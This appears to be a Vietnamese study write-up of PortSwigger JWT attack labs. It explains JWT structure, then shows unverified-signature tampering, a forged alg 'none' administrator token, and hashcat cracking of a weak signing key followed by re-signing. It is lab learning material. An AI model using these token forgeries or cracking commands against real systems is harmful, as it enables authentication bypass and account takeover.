What Are JWTs?
Quote
JSON web token (JWT) là một định dạng chuẩn hóa để gửi dữ liệu JSON được ký điện tử giữa các hệ thống. Về lý thuyết, chúng có thể chứa bất kỳ loại dữ liệu nào, nhưng chúng thường được sử dụng để gửi thông tin (“claims”) về người dùng như một phần của cơ chế xác thực, xử lý phiên và kiểm soát truy cập.
Không giống như các token phiên cổ điển, tất cả dữ liệu mà máy chủ cần được lưu trữ phía máy khách trong chính JWT.
JWT Signature
Quote
Máy chủ cấp token thường tạo chữ ký bằng cách băm header và payload. Trong một số trường hợp, họ cũng mã hóa hàm băm kết quả.
JWT Implementations
Quote
Thông số kỹ thuật JWT được mở rộng bởi cả hai thông số kỹ thuật JSON Web Signature (JWS) và JSON Web Encryption (JWE), định nghĩa các cách triển khai JWT cụ thể.
Khi mọi người sử dụng thuật ngữ “JWT”, họ gần như luôn có ý nói đến một token JWS. JWE rất giống, ngoại trừ nội dung thực tế của token được mã hóa thay vì chỉ được mã hóa.
What Are JWT Attacks?
Quote
Các cuộc tấn công JWT liên quan đến việc người dùng gửi các JWT đã được sửa đổi đến máy chủ để đạt được mục tiêu độc hại. Thông thường, mục tiêu này là để bỏ qua xác thực và kiểm soát truy cập bằng cách mạo danh một người dùng khác đã được xác thực.
Accepting Arbitrary Signatures
Quote
Các thư viện JWT thường cung cấp một phương thức để xác minh token và một phương thức khác chỉ để giải mã chúng. Ví dụ, thư viện Node.js
jsonwebtoken
cóverify()
vàdecode()
.Thỉnh thoảng, các nhà phát triển nhầm lẫn hai phương thức này và chỉ truyền các token đến vào phương thức
decode()
. Điều này thực chất có nghĩa là ứng dụng không xác minh chữ ký chút nào.
Lab: JWT Authentication Bypass via Unverified Signature
Header và payload khi đăng nhập với tư cách là wiener
:
{
"kid": "fd652895-c8ce-40f6-a298-08b5df6cab66",
"alg": "RS256"
}
{
"iss": "portswigger",
"exp": 1724583782,
"sub": "wiener"
}
Truy cập /admin
với JWT này, chúng ta nhận được thông báo sau:
Warning
Admin interface only available if logged in as an administrator
Thay đổi trường sub
thành administrator
và lặp lại request, chúng ta có thể vào trang /admin
.
Accepting Tokens with No Signature
Quote
JWT có thể được ký bằng nhiều thuật toán khác nhau, nhưng cũng có thể không được ký. Trong trường hợp này, tham số
alg
được đặt thànhnone
, cho biết một “unsecured JWT”.Do những nguy hiểm rõ ràng của điều này, các máy chủ thường từ chối các token không có chữ ký. Tuy nhiên, vì loại lọc này dựa trên việc phân tích chuỗi, đôi khi chúng ta có thể vượt qua các bộ lọc này bằng cách sử dụng các kỹ thuật làm rối cổ điển, chẳng hạn như viết hoa hỗn hợp và các mã hóa không mong muốn.
Note
Ngay cả khi token không được ký, phần payload vẫn phải được kết thúc bằng một dấu chấm ở cuối.
Lab: JWT Authentication Bypass via Flawed Signature Verification
Để bỏ qua xác thực, chúng ta thực hiện những điều sau:
- Thay đổi
alg
của header thành"none"
. - Thay đổi
sub
của payload thành"administrator
- Xóa phần chữ ký (không bao gồm dấu chấm ở cuối).
Cụ thể, JWT sẽ được sửa đổi thành:
Info
JWT eyJraWQiOiI2Y2M3ODBjYi1hYTg1LTQ3YTktOTNkNi0zODU0ZjBmMGEwMTciLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDU4NTc4NCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
Brute-forcing Secret Keys
Chúng ta chỉ cần một JWT hợp lệ, đã được ký từ máy chủ mục tiêu và một wordlist các khóa bí mật nổi tiếng. Sau đó, chúng ta có thể chạy lệnh sau, truyền JWT và wordlist làm đối số:
hashcat -a 0 -m 16500 <jwt> <wordlist>
Lab: JWT Authentication Bypass via Weak Signing Key
Sử dụng hashcat và wordlist ở trên để tìm khóa bí mật:
$ hashcat -a 0 -m 16500 eyJraWQiOiI0MzRkYzk4ZS1mNWZjLTRmODEtYWEyYy04NzRkMmM4ZTE0MTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDU4Njg1Niwic3ViIjoid2llbmVyIn0.feVtkq6MsXxM3ISUv2OJK5q6WgSbbKs0VQb1aRfCrfY ./jwt.secrets.list --show
eyJraWQiOiI0MzRkYzk4ZS1mNWZjLTRmODEtYWEyYy04NzRkMmM4ZTE0MTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDU4Njg1Niwic3ViIjoid2llbmVyIn0.feVtkq6MsXxM3ISUv2OJK5q6WgSbbKs0VQb1aRfCrfY:secret1
Như chúng ta có thể thấy, khóa bí mật là secret1
.
Sử dụng khóa bí mật này để tạo một khóa đối xứng trong tiện ích mở rộng JWT Editor của Burp Suite. Sau đó, thay đổi payload thành:
{
"iss": "portswigger",
"exp": 1724586856,
"sub": "administrator"
}
Và ký payload bằng khóa đã tạo.
Gửi request đến /admin
và xóa người dùng carlos
để hoàn thành lab.